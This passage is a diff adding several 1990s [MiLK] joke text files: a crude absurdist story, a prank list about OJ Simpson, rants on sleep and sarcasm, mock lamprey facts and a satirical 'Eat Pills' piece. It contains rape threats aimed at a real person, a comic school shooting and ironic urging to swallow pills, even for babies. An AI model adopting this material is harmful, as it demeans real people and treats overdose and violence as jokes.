dismay, when he +and the girl of his dreams, named Miranda Murphy, tried to "go all the way" +with the football hero (which was Egbert, in case you couldn't grasp that). He +was almost in tears when it wouldn't pop up to say hello, but she merely +smiled, and said "Well then, Egbert, You can at least make ME happy." Which he +did. Quite well. Afterwards, as she whispered in his ear, he looked at her +strangely. "Don't call me Egbert anymore." he said to her. "I use that name +so SOMETHING about me can be made fun of. My real name is Scott, and I'm not +really impotent, either. I'm asexual." + Well, Miranda Murphy beat the living hell outta him. That was the end of +his popularity. Once the girls found out he was asexual, he was dateless for +weeks. Until the day when he met HER. She was beautiful. Well, okay, she +wasn't beautiful, but she was good-looking. Fine. She was there. Satisfied? +Good. Let me get on with this, would you please? Anyways, she was alright. +Basically, Scott was just horny. Now that was strange for an asexual being, +but hell, he was SCOTT. He can do what he wants. So, he and she met. She +hated him, as all girls who knew he was asexual did. But that didn't stop +Scott. He wanted her in the worst way. (The worst way, being of course, +upside down on the monkey bars behind his house). + + Merrily Barsen was ugly. she knew it. But she was a virgin, and she +WANTED TO GET *LAID*. In the worst way. (We've already described what the +worst way was.) Now, they obviously had someething in commmon. However, +neither she nor Scott knew that they shared a favorite position. So, they +didn't talk. Because, she decided, he was Asexual, and so he couldn't get her +off. But she DID think he was cute. And, although most people didn't know +it, Merrily was a psychotic. As a child, she would cut the heads off of her +pet chickens and mount them on her wall, like her daddy did with his deer +heads. So, As she got progressively older, she got progressively sicker. +Now, she mounted penis' on her wall (she TRIED to get the balls and pubes too, +but sometimes it was too hard.) ANYWAYS. Merrily liked Scott, cuz he was cute. +But being asexual, he didn't have a REAL penis to cut off. (This, as the +rumors went, was because he had given it to a friend of his who now refused to +give it back.) She vowed she would have SOMEONE'S penis on her wall by next +week. + + * * * + + Dick Kingsman was a Corporate Worker. He was also a Secret government +assassin. He loved to assassinate people, because he had nothing better to do +with his time (minus, of course, the fun late night trips to a restaurant for +Coffee). He got bored easily. So, when THE DIRECTOR called him up and +requested he take out a hit on some teenage chick named Barsen, he happily +agreed. Work was good. Oh, did I mention Mr. Kingsman came from an area +south of the mason-dixon line? This explains now why his daughter and son are +dating. But, that will be covered (or uncovered, depending on their mood) +later. + Dick Kingsman packed his belongings, told his roomate goodbye, and +shipped off for GlenGrove Illinois. There he would find his target. He would +kill her. He heard she was castrating people, and he was sure he'd know how +uncomfortable HE'D feel without his ego attached to his waist. + + Damien Kingsman watched his father pack from the crack in his door. He +turned to his sister, Jess stony (who was really his half-sister, but that's +not important), who happened to be naked and in bed, and smiled. "Dad's goin' +away again, love. We get the houseto ourselves..." + Jess smiled, and Damien returned to bed. + + Cheshire, the cat which the Kingsmans owned (who, incidentally was NOT +named after the character from Alice in Wonderland, but some strange guy they +met through their computer talks) padded into the room in which Damien and +Jess were "talking" (Mind you, this cat wore a strange hat and a bugs bunny +tie), and POUNCED on the bed. Both of them jumped, and the cat meowed. They +both thought the meow sounded like "Hey! What the HELL do you think yer doing? +And why wasn't I invited?!" But they weren't sure. So, they dressed, and +decided to take the cat and follow their father on his little trip. The cat +grinned widely, and fixed his hat. + + * * * + + Now was the perfect moment. He couldn't wait another moment. It was +there, he felt it. He cast his line down a few inches, then pulled with all +his might. The catch that Kneel had waited for all day leaped out of the +water, and he spied it. Sleek and eel-like, he smiled. It was his. The last +of the Decendants of the late Great Sea guardian was his. He brought it onto +the boat, and staked it with a holy Mango. That was one less ravaging beast +to deal with. He smiled, and rowed ashore. His quest was over. + + * * * + + Dick moved to his prey. He spied her from behind (and what a nice behind, +he thought). His gun was out, a Glock 20000000000000005.13, the most powerful +TacNuke gun available. He aimed, and shot. The bullet caught his prey in the +back, and detonated. She screamed, and fell. (all this happened during Third +PEriod at the High School) The Teacher screamed. The Kids Screamed. What the +hell, Dick thought, and screamed too. He smiled at the techer "Sorry, just +saw that my hair was getting thinner." Then he rushed to his prey and turned +her over. + + "THAT WAS KAY SEA! And she was BEAUTIFUL!" someone screamed. Dick looked +at her, and smiled to her. "Sorry, sweetie, but you looked psychotic from +behind." Besides, he thought, he remembered reading that she left her friend +out of one of her stories once. He glanced at the boy who had screamed at him, +and shock and recognition filled his face. It was an older boy, wearing a +jean jacket covered with lamprey skins. It was Kneel The Kender, topknot and +all. "Sorry, Kid." Dick said, and smiled. "I thught she was someone I knew." +Dick left, and everyone screamed as the glare from his bald spot temporarily +blinded them. + + Damien, Jess, and Chesh looked on with amazement. Damien looked at his +father as he walked out, and yelled "DAD! I was s'posed to move IN WITH HER!" +His father looked at him and said "Oops. Cut yer hair and we'll talk about +bringing her back." + Damien decided to stop complaining. The Cat looked at Dick and asked +politely (or it seemed like the meow sounded like this): "Why must you go +around shooting people? Can't we all just get along?" + + Dick shook his head. "What kind of cat wears a bugs bunny tie and a hat +and meows in words?" + + Chesh grinned. "I'm soooooooooooooo fucking alternative! Go to +pittsburgh." + + Dick shrugged and moved off in search of History 101. The cat followed, +and Damien and Jess went towards the cafeteria to see if they were serving +CHINESE FOOD!!!!!!! + + Neil stood. He smelled Lamprey. Even worse, he smelled Vamprey. He +rushed outside the room, and spied Dick and a strange looking cat going one +way, and Two kids (brother and sister, obviously, but also closer than that) +going the other. The keen training it took to become a lamprey hunter taught +him it was coming from the direction of the two teens. He pulled out his holy +Mango, and rushed after them. + + * * * + + Merrily walked towards the cafeteria. She was just itching to eat some +of yesterday's leftover eggplant parmesean. She loved eggplants. She knew +that she and her best friend, Kay Sea, had much in common. They were even +both beautiful. Yeah right. Kay was, but Merrily knew she wasn't. So, she +gave up thinking along those lines. That's when she spied two people who +didn't belong in school. Her keen psychotci senses told her that if she +depantsed the guy, she'd find he wasn't human. But the girl...perhaps her +pubes would match Merrily's newwest addition to her collection. She smiled, +and withdrew a Spork from her pocket. She ran up behind the female, and +sporked her good and hard. Damien and Jess whirled. Jess moaned in pain. +Damien hissed, and his fangs bared from his round mouth. A VAMPREY! Merrily +was lucky...she didn't have a vamprey head yet. Withdrawing another spork, she +whirled them in a deadly martial arts-type appearance. + + It was that moment that Dick saw them. He whilred, pointing his backup +gun, a Tankstopper, and fired. wo shot blared through Merrily, and she fell, +sporks clacking to the ground and breaking. (They WERE from Taco Bell, after +all.) Dick ran up, and at the same time, Kneel threw his mango with deadly +force at the unwary form of the Vamprey. Damien fell, hit by the vicious +thing, and cried out in anguish. + + + It was that exact moment that Joe Lamar wandered up with his friend, Liz. +They gawked at the damage done by the mango, and rushed to help Damien, who +they somehow knew was their friend. And they removed the mango, he smiled +evilly (as well as a round mouth can smile, mind you), and Leaped upon Kneel. +A vicious power struglle began. Dick was confused and angry that someone +would attack his boy. Anger flowed through him, and he let loose, taking out +Joe and Liz, as well as most of the students. + + SUDDENLY, without warning, the Cat Leaped up and attacked Kneel! Dick +was blaring away, demolishing the block with his manly gun (which, for some +reason, seemed only two tuna cans big) Can Chesh girnned at the two locked in +their war. They fought until both fell to the ground, unconcious. Damien +fell because he had drunk the blood of a pure lamprey hunter, and Kneel +becuase he lost so much blood. The cat was under them, however, and was +crushed. He meowed again, which sounded like "GET THE HELL OFFA ME! You +people are SERIOUSLY getting on my nerves here. Why can't I find someone +NORMAL to live with?" + + Joe Lamar suddenoly stood, a magical aura around his body. "I AM A +MASTER MAGE! you will all die for your impotence!" This wasthe point Scott +walked up to meet Merrily. Hearing the word impotence, he cowered in fear. +Dick fell to the ground, praying to god he wasn't impotent. The rest were too +unconcious to care. Joel cast a spell, and both the Vamprey and the Hunter +disappeared. Jess stood up, Looked about, and fell into Joe's arms. They got +engaged seconds later. Scott, now angry that he was asexual, approached Joe +and demanded that he return Damien, so Scott could retrieve his penis. Dick +gave up and went home, vowing never to return to the School, because of such +bad service. Liz awoke (thanks to Joe's magic), saw the cat, and rushed to +his aid. Strangely enough, Liz LOVED cats. Joe, with Jess in his arms, +disappeared to his remote tower, after explaining that the Vamprey and the +Hunter would be trapped in a dimension which looked much like a backayrd, +where they would fight the Great Lamprey Warz for eternity, with a pretty view +of a Greenhouse full of VERY strange sprouts. Now, Liz and Chesh alone, she +deaprted, taking the happy cat with her. + + Unfortunately, the Cat forgot his Grin. + +(And his Bus bunny tie, which was picked up by the principal of the school +because he had an important meeting and had forggoten his own tie) + +The End. +(or is it?) + +Û Û [MiLK] Information +Û Û +Û Û [MiLK] Sites: +Û Û +Û Û The Obloid Sphere..........(708)965-3098 [14,400] +Û²²²²²²²²²²²Û CUM........................(708)961-1220 [14,400] +Û²²²²²²²²²²²Û The Asylum.................(908)914-9318 [14,400] +Û²²²²²²²²²²²Û (NUP) I LOVE FEDS +Û²²²²²²²²²²²Û +Û²²²²²²²²²²²Û [MiLK] Issue #043 by Randall Flagg +ÛÛÛÛÛÛÛÛÛÛÛÛÛ This file is Exactly 12949 bytes long + diff --git a/textfiles.com/magazines/MILK/milk-044.txt b/textfiles.com/magazines/MILK/milk-044.txt new file mode 100644 index 00000000..2fc37166 --- /dev/null +++ b/textfiles.com/magazines/MILK/milk-044.txt @@ -0,0 +1,86 @@ + Ü Ü Ü Mighty Issue #44 + Ü Ü Û Û Ü illicit "OJ Simpson" + Û ß Û Û Û ÛÛ Liquid -By Winter Solstice + ß ß ß ß ß ß Kollections +Ä Ä -ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + + Since you are all very tired of hearing about all the propaganda +with OJ Simpson I decided to annoy you somemore with _Cool things to do if +you are in the cell next to OJ Simpson_. I am simply writing this file to +agitate you and possible get some humor out of it in the process. Well let +me get started. + + 1. Run around your cell laughing wildy with + a bloody glove on your hand + + 2. Throw the bloody glove at him and scream + "I'M INNOCENT!" + + 3. Urinate on him while he is sleeping + + 4. Cut a car shape out of cardboard, paint it + white, cut a gun shape out of the cardboard as + well and pretend to drive around your cell holding + a gun to your head + + 5. keep him awake in the night by singing any song + you can think of as loud as you can + + 6. Scream his ex-wifes name loudly at night so that + it echoes through all the cells then fake an orgasm + + 7. Ask him if he wants to become your "bitch", and + offer to be his "pretty-boy" + + 8. Masterbate while he is using the toilet and tell + him about how you would like to help him + + 9. Masterbate all over his bed so when he goes to lie + down he slips off + + 10. Climb on the bars and scream "MY PENIS IS STUCK!!" + + 11. Explain to him the whole ordeal you watched on + the news about him and tell it in great detail + + 12. Throw excrement at him through the bars. + + 13. Pretend to do a seance to his ex-wife and + scream,"OH GOD I'M CUMMING AHHHH YEAH!" + + 14. Ejaculate into his daily meal and demand + he eat it all or you will anally rape him + + 15. Toss a football around in your cell and + when you are done pop it with your errect penis + and laugh + + 16. Measure your hardon counting the inches aloud + smiling and looking at him and winking + + 17. Take a minature _HERTZ_ van and make it run + all over your body, finally make it enter your + rectum + + 18. Offer to feed him his Breakfast, Lunch, + and dinner from your hand + + That is all my sick mind could think up so hope you enjoyed this +tfile and if you diddn't enjoy it suck my balls and send your best regards +to your sister, she was great. + If you like what you saw in number 7 and would like to become my +"bitch" leave me E-mail. + + +Û Û [MiLK] Information +Û Û +Û Û [MiLK] Sites: +Û Û +Û Û The Obloid Sphere..........(708)965-3098 [14,400] +Û²²²²²²²²²²²Û CUM........................(708)961-1220 [14,400] +Û²²²²²²²²²²²Û The Asylum.................(908)914-9318 [14,400] +Û²²²²²²²²²²²Û (NUP) I LOVE FEDS +Û²²²²²²²²²²²Û +Û²²²²²²²²²²²Û [MiLK] Issue #044 by Winter Solstice +ÛÛÛÛÛÛÛÛÛÛÛÛÛ This file is Exactly 3971 bytes long + diff --git a/textfiles.com/magazines/MILK/milk-045.txt b/textfiles.com/magazines/MILK/milk-045.txt new file mode 100644 index 00000000..4968917c --- /dev/null +++ b/textfiles.com/magazines/MILK/milk-045.txt @@ -0,0 +1,141 @@ + Ü Ü Ü Mighty Issue #45 + Ü Ü Û Û Ü illicit "SLEEP" + Û ß Û Û Û ÛÛ Liquid -By Malakai + ß ß ß ß ß ß Kollections +Ä Ä -ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + + Here I am at 4:30 putting my mental endurance to the test, when I've +come to think, "Why should I need sleep?" Well, the answer is simple... but +first we must discuss the sleeping habits of other people because this TFile +is NOT supposed to be about me, WHY? Because I choose not to and this is my +right as a citizen of the United States of Amerikaka. So there.. + + I've always wondered why people get tired when they don't get 8 hours +of sleep or are up for more than 14 hours at a time. Personally, I've gone a +maximuim of 5 or 6 days without ANY sleep AT ALL. This was a test of both my +mental and physical endurance, as I suddenly became more of a moron than I'll +probably ever be. But anyway, there are a lot of different people out there in +this big fucked up world we live in and a lot of them LIKE to sleep, +personally, I think it's a big waste of time, SO WHAT if our body needs rest, +it can fuck'n sleep when I'm reading or something, all I need is my HANDS to +hold the book and my fingers to turn the pages, THAT'S IT.. nothing more, +nothing less. Well, besides my eyes, but they don't count. Or what about when +I'm listening to music? Ok. So that is rest. But then again, when you're +resting, you certainly aren't doing much of anything else, which is kind s +tupid, cuz you're sitting there sleeping and the world is going by and you +don't give a damn cuz you're on Mr.Fluffy-ass-bed and you don't wanna get off +it EVER. + + This leads me to another question.. Why do people like sleep? It may +relive stress on yourself sometimes, BUT what about when you have to cram? Gee, +sleep can be really fun then. You're up late reading about Polyuranthandic- +fibers for chemistry and then Mr.Sleep comes on and beats the shit out of you +with that sleepy sand shit and then you can't STUDY. Sleep is a plague, it's +been around all throughout time and I don't like it ONE bit. I mean, if I fall +asleep in the day, I feel bad cuz I did. Sure, when I'm sick I'll get an extra +HOUR or TWO.. but I don't need a whole fragg'n day to sleep and get better. + + And what happens when you sleep? DREAMS and/or nightmares... self- +induced hallucinations! This goes to show that sleep is in fact an incurable +disease. I've had some pretty fucked up dreams and I've had the DUMBEST nightmares and why? +All because I gave in to my physical needs and FELL ASLEEP. And what about all +those hours in life you spend rolling around trying to achieve this sickening +state? Like I wanna spend my nights rolling around whining queitly to myself +cuz I can't get to sleep. + + You know, though, as much as I hate sleep, I can say one thing.. it's +a very interesting thing to feel your mind just slowly slipping away as you +stay up longer.. and longer.. and longer. And do you know what? IT'S BETTER +THAT WAY! :) I mean, I can write a lot better when I am a 'mindless' moron +then when I'm awake and alert.. mainly because I don't have access to my sub- +conscious or however the fuck you wanna put it when I'm awake, not to mention +that I'm more easily distracted when I can hear everything than when I can't +hear a semi's horn as it's right in front of me about to turn me int' the +world's most tired road kill. Drowsiness is the cheapest and BEST drug I have +ever used. Then again, I've never used any drugs because I don't need them, I +can just stay awake for 2 days and get the same effects. + + You know what's really fucked up? I know a few people who have this; +They never remember thier dreams, but when they are real tired reality just +starts to dwindle.. they begin to hallucinate. I don't know about this one, +because I've never hallucinated because I was tired I mean, people have had talks +with thier stuffed animals.. sleep is just so damned strange! Which reminds me, +I have the incredible urge to sleep right now, but you wanna know what? With +my TOWER of IRON will I am staying awake just long enough +to write this T-File. + + + Ok, I'm am WAY the fuck off topic, but that's ok, I have an excuse, I +can say I was tired. AND I AM.. so ha. But anyway, I've seen a lot of habits, +each of them are kind of stupid because they all envolve sleep, but I guess +that's why they are called 'sleeping habits', now isn't it? :) + + Type number one is the person who always has a tight sleeping schedule, +for this person, sleep is pretty much a ritual, and they do it day in and day +out and they are so oblivious to the fact it's quite monotinous that if you +told them what they were doing they'd break down and cry because thier lives +sucked because everything was the same as everything else and they'd become +boring people and face it, no one wants to talk to someone who's boring, so +don't tell these guys this cuz they'd go crazy and kill 20 people and then run +off to Mexico or Cuba or some shit like that. + + Type number two is the person who sleeps for 8 hours a day, but at any +given time. These people's control over thier own body are not great enough to +where that if they get less than 8 hours they are tired and only semi-coherant. +If you tell these people they are wimps, they would probably agree and say, but +I need my sleep. At which point, I would then vomit into a large can and toss +it ever so gently at the person who said this and prehaps do this more than +once because they should have control enough to withstand this evil and vile +thing that man calls sleep. + + Type number three is the person who sleeps when-ever they can because +they are bored, depressed, whatdafuckever. These people are the people who +make me wish I had a job. I mean, if I can stay up all day and all night being +as bored as fuck and not go +to sleep for more than 4 hours, WHY CAN'T THEY? They sleep for a LONG time all +day because they don't have anything better to do but waste thier hours away +in thier beds because they don't have a job and they don't want to do anything +and stop me now before I go crazy and stab all of these people with a rusty, +blunt plastic spork. + + Type number four is like me, they sleep only when they feel they HAVE +to. This is usually because your body collapses into a heap and says, "Sleep +Mother Fucker or you're going to DIE" or just because it's 3 am and you need +to get up at 6 am for Driver's Fuck'n ed or something. THESE people know how to +control thier own bodies and can force themselves to stay up for lengths at a +time. People usually call these people CRAZY or tell them that it's bad for +them. The only side-effect I see is that it makes me a better person! SO HA! +I usually sit there and say, "Well, it's worked for me" or some bull-shit like +that. But anyway, I'm gonna shut up about these guys now, too. + + Ok, so that's how I think sleep is. Did you know that we waste a THIRD +of our entire LIFE sleeping!? This IS LUDICRUOS! It makes me wanna HURL! I mean +just think, if we took a half of that third and spent it doing something GOOD +for someone, WE'D BE A GODDAMN BETTER PERSON! So that's what I am doing. I sleep +only after I KNOW the day is done and I can't possibly shove any more shit into +it. That's what I am urging you all to do! You must give up half your sleeping +time so that you can benifeit society. If you don't do this, than you are pry +not reading this because you are SLEEPING! SO WAKE UP. + +Any complaints/letter bombs/hate mail/etc.. can be sent to me online. + +This is Malakai.. going to.. NO! I CAN'T!... sleep... zzzz... + + + +Û Û [MiLK] Information +Û Û +Û Û [MiLK] Sites: +Û Û +Û Û The Obloid Sphere..........(708)965-3098 [14,400] +Û²²²²²²²²²²²Û CUM........................(708)961-1220 [14,400] +Û²²²²²²²²²²²Û The Asylum.................(908)914-9318 [14,400] +Û²²²²²²²²²²²Û (NUP) I LOVE FEDS +Û²²²²²²²²²²²Û +Û²²²²²²²²²²²Û [MiLK] Issue #045 by Malakai +ÛÛÛÛÛÛÛÛÛÛÛÛÛ This file is Exactly 8622 bytes long + diff --git a/textfiles.com/magazines/MILK/milk-046.txt b/textfiles.com/magazines/MILK/milk-046.txt new file mode 100644 index 00000000..7f246cc9 --- /dev/null +++ b/textfiles.com/magazines/MILK/milk-046.txt @@ -0,0 +1,91 @@ + /-\ /-\ /\ /\ /\ /\ Mighty +| \/ | \/ | || |/ / Illicit Issue #46 +| |\/| | /\ | || < Liquid "The Facts about Lampreys" +| | | | | || || |\ \ Kollections -By James Hetfield + \/ \/ \/ \/ \/ \/ + +_____________ + + Lampreys. LAMPREYS. Damn the lampreys. Thery're everywhere, and +we must watch our backs whereever we go. + +Commonly Mistaken Beliefs: + +1) Lampreys are only in Water. + + FALSE. Lampreys can be found ANYWHERE. In your bed, in your computer, +in your BRAIN, if you're not careful... + +2) Lampreys don't attack humans. + + FALSE. Lampreys will latch on to anything they can. They especially +PREFER Human flesh and blood, in fact, over that scaley garbage they find in +the water. + +3) Lampreys aren't a threat to human society. + + FALSE. Lampreys are constantly plotting new ideas and schemes on how +to take over our government and destroy us off the planet so they can live +happily on the mainland. Beware... + +4) Lampreys make great pets. + + FALSE. Lampreys are the worst possible pet you could have. They'll +kill any other pets you already have, and might even kill you while you sleep. + +5) Spam is made out of ham products. + + FALSE. Spam is actually Lamprey Larva, being distributed by the +lampreys consirating against us. Once we eat spam, the larva hatch in our +stomach and pollute the rest of our body, until we die, then they leave it in +seach of other lampreys like them. Soon all these lampreys will start a +coalition against all humanity. + +6) Crystal Pepsi is a carbonated water and sugar drink. + + FALSE. Crystal Pepsi is really Lamprey Urine! Stay away from this +product as much as possible, for it is a very dangerous pollutant to take into +your body. + +7) Lampreys Sleep. + + FALSE. Lampreys are constantly awake, waiting us to fall asleep, so +they can prey upon us. + +8) The Reason Lampreys have not taken over is because of our vast and strong + Military. + + FALSE. Lampreys could EASILY destroy the military. the only reason +they have not taken over yet is because of Lamprey Hunters like Nyarlathotep, +and Pete. These men keep the lampreys at bay with their magical lamprey +hunting weapons and (more importantly) their wit. + +9) Lampreys don't have sex. + + FALSE. Lampreys are continually having intercourse, that is, when +they're not trying to take over the planet. + +10) Dolphins are the 2nd most intelligent beings on earth. + + FALSE. The Lampreys are just a tad less intelligent than humans, and +if we're not careful, our end is near. + + I hope these facts have helped you realize the horror our society is +plagued with. We must learn as much as possible about these vile beats, and +keep wary about them, because if we don't, they'll be on our necks faster +than a 300 pound, beer guzzing football fan would be on Cindy Crawford. + +______________ + + This was the first [MiLK] file posted on Internet (as far as I know). +You can find this file under alt.animals.lampreys. For more information on +[MiLK], lampreys, and other WaCky junk in JENeral, Call The Obloid Sphere +708-965-3098. + + In short, MiLK is a text file group dedicated to stupid text files +about little to no good. [MiLK] does not encourage the exploitation of cows, +eggplants, or mangos in any way. + +This file is Exactly 3520 bytes long. + + diff --git a/textfiles.com/magazines/MILK/milk-047.txt b/textfiles.com/magazines/MILK/milk-047.txt new file mode 100644 index 00000000..436261ff --- /dev/null +++ b/textfiles.com/magazines/MILK/milk-047.txt @@ -0,0 +1,95 @@ + Ü Ü Ü Mighty Issue #47 + Ü Ü Û Û Ü illicit "Eat Pills" + Û ß Û Û Û ÛÛ Liquid -By Epic + ß ß ß ß ß ß Kollections +Ä Ä -ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + + Well, it's a tough world out there. You know it as well as I do. Long +hours with crazed co-workers... Bills to pay... Food to buy... Having to +floss... all these things can't be good for your sanity. Existing in a world +of tension and stress is quite difficult. We all need a way to cope. + + We need pills. + + Today, at this moment (right now, if you will), lots of people are +searching through their medicine cabinets (or perhaps, their neighbor's +medicine cabinets) for some tasty pills to gobble down. Pill consumption is +on the rise everywhere. + + We need these pills. Vitamins and minerals are often packaged into +simple pill form. These vitamins and minerals assist the body in performing +"life tasks", like repairing cells, and growth. Pills help you grow. Even at +the awkward age when the child can still got successfully swallow pills - +bright, tasty, dino the dinosaur shaped, CHEWABLE pills are available to +help. Even a baby can enjoy this form of pills, ground up into his gerber +tapioca meal. + + Pills. Pills need to be eaten. Pills can make you sassy. + + Pills can ease your pain. In your head, your stomach, your bowels, +your liver, your thorax, or in your soul. Pills are small, smooth, and +pleasant to the touch. Take a few. + + Pills. Pills digesting in your stomach, releasing their energy, and +potent chemicals throughout your body. What a rush. Think of how pills are +used. Pills help dying people in the hospital recover to their former health. +Pills give athletes a "boost". Pills are part of a healthy breakfast. YOUR +KIDS WILL EAT IT. YOUR KIDS WILL EAT PILLS. + + Even Pac-Man ate pills. Think, Pac-Man, a root in our society, was a +total consumer of pills. No one knows exactly what kind.. perhaps they +weren't even any good, but they were pills nonetheless. + + From Ibuprofin, Riboflavin, Zoloft, and AZT to your standard generic +buffered analgesic, we all need pills. So don't hold back. Just swallow some. +But remember: USE AS DIRECTED. You see, if you take too many pills at one +time, you might die, and not be able to eat any more pills. Wouldn't want +something nasty like that to occur. Moderation in all things. + + | **** QUICK TIP **** | + | | + | To open "child-proof" containers, | + | simply apply pressure to the top of | + | the lid of the container when you twist | + | it off. This will faciliate opening of the jar. | + + + If you too want to be in on all the fun and excitement that pills +offer, go out to your pharmacy, medicine cabinet, columbian cartel leader, or +mommy and request some pills. Try and get purple ones if you can. Then bring +them to your kitchen and whip up tasty meals like "PillsN'Bisquick" for a fast +breakfast, or "FiletO'Prozac" for your lunch meal. Perhaps a "Minty PillShake" +to wash it all down. And top it off with some "Chocolatepillswirl Custard" for +a tempting dssert. Num Num. + + But enough about pills. Now it's time to move on to the topic of your +body. Besides your hairy genital regions, the only part that really matters to +you right now is your stomach. And you know what would make your stomach happy? + + I do. And I think you do too. Eat pills. + + 'one pill makes you big + the other makes you small + and the ones your mother gives you + don't do anything at all + + feed your head' + + GReATeNGZ go out to: All Thin Lizzy Fans, The Hardees Franchise, + Robert Egashpoor, and Officer Stover... + + + +Û Û [MiLK] Information +Û Û +Û Û [MiLK] Sites: +Û Û +Û Û The Obloid Sphere..........(708)965-3098 [14,400] +Û²²²²²²²²²²²Û CUM........................(708)961-1220 [14,400] +Û²²²²²²²²²²²Û The Asylum.................(908)914-9318 [14,400] +Û²²²²²²²²²²²Û (NUP) I LOVE FEDS +Û²²²²²²²²²²²Û Violent Playground.........(908)920-2575 [14,400] +Û²²²²²²²²²²²Û Black Dragon BBS...........(703)885-3072 [14,400] +ÛÛÛÛÛÛÛÛÛÛÛÛÛ ÄÄ> MiLK File #47: "Eat Pills" By Epic <ÄÄÄ + (This File Just wasted 4765 bytes of your hard drive) + diff --git a/textfiles.com/magazines/MILK/milk-048.txt b/textfiles.com/magazines/MILK/milk-048.txt new file mode 100644 index 00000000..eed89007 --- /dev/null +++ b/textfiles.com/magazines/MILK/milk-048.txt @@ -0,0 +1,98 @@ + Ü Ü Ü Mighty Issue #48 + Ü Ü Û Û Ü illicit "How To / Sarcasm. Not." + Û ß Û Û Û ÛÛ Liquid -By whOOps + ß ß ß ß ß ß Kollections +Ä Ä -ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + + (WARNING: This is kase's first attempt at a completely factual and truthful +file instead of the oh-so-wild fiction she usually writes. Be wary. Contents +may be unsuitable to those without the requisite brain cells to comprehend the +complex ideas and sentence structure involved therein.) + + Sarcasm + + Gee, what a thrilling file, I hear you cry. That's right! You've achieved +the first level of illumination in the ways of the Mighty Art of Sarcasm. Many +more lie before you, however, so don't get too cocky. Many types of sarcasm +exist in this world, although not nearly as many as the number of entries in +the Field Guide to Lampreys (cheap plug. go read it. the eggplant ones are the +best, of course.) I will try to outline for you the basics to the wild art of +sarkasem. + + DREARY BORING NORMAL KIDS-STUFF EVERYDAY SARCASM: This stuff is *really* +exciting, let me tell you..Not. It doesn't take too many brain cells to master +this stuff (meaning even YOU can handle it, doesn't that make your diodes +wiggle in surprise and pleasure?) This type of sarkasem involves the use of +the word "Not"...an added emphasis, for the people that were too stupid to +realize that the person meant what they were saying sarcastically. For +example... Let's create two purely imaginary people.. (while at the same time +plagiarizing an idea from the illuminated Pizza-For-A-Bawk! person.) Shall we +say... Neillybob Nibble and Scooter Shazam? Scooter looks at a new hat that +Neillybob recently dug out of his uncle's grave and says "Hey, Neillybob... +that's a nice hat. Not!" After evoking the magic word "not," the evoker +generally tends to devolve into beavis-and-butthead-freak-type guttural +chuckling, probably due to the large amount of time that person spent with his +eyes glued to the television set when that eminent set of bozos was on. (And +let me *tell* you how difficult it is to get the eyes off...) So now that +you've mastered this, you move on to the +slightly-more-complex-and-exciting-only-if-your-aunt-is-a-barnacle-sarcasm. + + SLIGHTLY MORE COMPLEX AND EXCITING ONLY IF YOUR AUNT IS A BARNACLE +SARCASM: This is the next step up..it's slightly more complex and exciting +than the DBNK-SES (Abbreviated for her pleasure!) but can still be handled by +the average modem geek. This involves a bit of the same elements of the +DBNK-SES but with a tricky difference: One must say exactly the opposite of +what one means to get one's point across. For example, say these purely +imaginary people Neillybob Nibble and Scooter Shazam are sitting together at a +purely hypothetical place. Neillybob might hypothetically look at Scooter's +hypothetical shirt and say "Gee, Scooter, that shirt doesn't look at ALL like +you hurled all over it after eating your mom's cooking even though it looked +like toxic waste." See? What he REALLY meant to say was "Scooter, that shirt +looks like you hurled all over it after eating your mom's cooking even though +it looked like toxic waste." That explanation was for those of you that lacked +the necessary intelligence to comprehend it..aw, heck, it was for all of you. +And i'm not being sarcastic at all. + + NOW YOU'RE BORDERING ON EXCITEMENT THIS STUFF IS AS COOL AS TIPPER GORE +SARCASM: I lied. This is only bordering on excitement if you think you're a +gnu. But, fortunately, for most of you, this is bordering on excitement. At +least it's more exciting than most of what happens in your lives... I digress. +This type of sarcasm involves the use of EMPHASIS on ONE word in a phrase. +What I mean..is that you CONSTANTLY EMPHASIZE a few words in a sentence and +that REALLY gets your POINT ACROSS. Such as, say these PURELY hypothetical +people are once again sitting next to each other. Scooter might say to +Neillybob, "GEE, Neillybob..what a NICE guy you are." You see? He doesn't mean +that, at all! He's being.....sarcastic! Ain't life grand..just like a +piano> Ahhh..make like a tree and BUZZ OFF, okay? + + THIS IS SO FRICKING COOL I THINK I'M GOING TO GO BITE MY TOENAILS OFF BUT +WHOOPS I FORGOT YOUR MOM DID THAT ALREADY SARCASM: This type of sarcasm is +especially complex, for in it, you have to employ *laughter*...that's right, +you have to ACT, because there's not much you can truly laugh about except the +sad state of your life and your face. For example, say these people are once +again sitting next to each other. Neillybob might maybe perhaps hypothetically +say to Scooter, "Scooter, I think you're awfully sweet... " The +indicates that Neillybob starts laughing uproariously and falls on the floor, +laughing so hard that the whole hypothetical place shook. The use of this +riotous laughter at the end of the statement should alert all the +non-vegetables nearby as to the use of that wonderful tool, Sarcasm. + + Hopefully the above basics to the art of sarcasm may have given you a few +tips as to how to approach life from now on. Not. No, you didn't at all waste +your time reading this, don't worry about it. I'm POSITIVE that you have a +life, REALLY...i *AM*... + + +Û Û [MiLK] Information +Û Û +Û Û [MiLK] Sites: +Û Û +Û Û The Obloid Sphere..........(708)965-3098 [14,400] +Û²²²²²²²²²²²Û CUM........................(708)961-1220 [14,400] +Û²²²²²²²²²²²Û The Asylum.................(908)914-9318 [14,400] +Û²²²²²²²²²²²Û (NUP) I LOVE FEDS +Û²²²²²²²²²²²Û Violent Playground.........(908)920-2575 [14,400] +Û²²²²²²²²²²²Û Black Dragon BBS...........(703)885-3072 [14,400] 